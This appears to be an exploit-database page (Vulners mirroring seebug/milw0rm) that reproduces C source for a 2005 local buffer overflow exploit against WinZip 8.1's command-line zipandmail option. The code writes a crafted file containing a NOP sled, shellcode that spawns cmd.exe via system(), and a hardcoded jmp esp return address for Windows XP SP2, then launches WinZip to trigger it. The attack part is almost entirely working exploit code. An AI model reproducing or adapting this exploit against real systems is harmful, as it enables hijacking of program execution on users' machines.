Lucene search
K

WinZIP <= 8.1 Command Line Local Buffer Overflow Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

WinZIP 8.1 Buffer Overflow Exploi

Code

                                                /*
*
* WinZip Command Line Local Buffer Overflow
* http://securitytracker.com/alerts/2004/Sep/1011132.html
* http://www.winzip.com/wz90sr1.htm
* Exploit coded By ATmaCA
* Web: atmacasoft.com && spyinstructors.com
* E-Mail: [email protected]
* Credit to kozan
*
*/

/*
*
* Tested with WinZip 8.1 on Win XP Sp2 En
* Bug Fixed on WinZip 9.0 Service Release 1 (SR-1)
* http://www.winzip.com/wz90sr1.htm
*
*/

#include &#60;windows.h&#62;
#include &#60;stdio.h&#62;

#define NOP 0x90

void main()
{
        // create crafted command line
        char tmpfile[] = &#34;c:\\wzs45.tmp&#34;;
        char winzippath[] = &#34;C:\\Program Files\\WINZIP\\winzip32.exe&#34;;
        char zipandmailpar[] = &#34; -* /zipandmail /@  &#34;;
        char runpar[300];
        int i = 0;
        strcpy(runpar,winzippath);
        strcat(runpar,zipandmailpar);
        strcat(runpar,tmpfile);

        // need for some input file name .tmp but not must to exist
        char inputfile[] = &#34;C:\\someinputfile.ext\n&#34;;

        // launch a local cmd.exe
        char shellcode[] =
        &#34;\x55\x8B\xEC\x33\xFF&#34;
        &#34;\x57\x83\xEC\x04\xC6\x45\xF8&#34;
        &#34;\x63\xC6\x45\xF9\x6D\xC6\x45&#34;
        &#34;\xFA\x64\xC6\x45\xFB\x2E\xC6&#34;
        &#34;\x45\xFC\x65\xC6\x45\xFD\x78&#34;
        &#34;\xC6\x45\xFE\x65\xB8&#34;
        &#34;\xC7\x93\xC2\x77&#34; //77C293C7 system() - WinXP SP2 - msvcrt.dll
        &#34;\x50\x8D\x45\xF8\x50&#34;
        &#34;\xFF\x55\xF4&#34;;

        // create crafted .tmp file
        FILE *di;
        if( (di=fopen(tmpfile,&#34;wb&#34;)) == NULL ){
                return;
        }

        for(i=0;i&#60;sizeof(inputfile)-1;i++)
                fputc(inputfile[i],di);

        fprintf(di,&#34;c:\\&#34;);

        for(i=0;i&#60;384;i++)
                fputc(NOP,di);


        for(i=0;i&#60;sizeof(shellcode)-1;i++)
                fputc(shellcode[i],di);

        fprintf(di,&#34;\xBF\xAC\xDA\x77&#34;);  //EIP - WinXp Sp2 Eng - jmp esp addr
        fprintf(di,&#34;\x90\x90\x90\x90&#34;);  //NOPs
        fprintf(di,&#34;\x90\x83\xEC\x74&#34;);  //sub esp,0x74
        fprintf(di,&#34;\xFF\xE4\x90\x90&#34;);  //jmp esp

        fprintf(di,&#34;\n&#34;);

        fclose(di);
        WinExec(runpar,SW_SHOW);
}

// milw0rm.com [2005-06-07]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation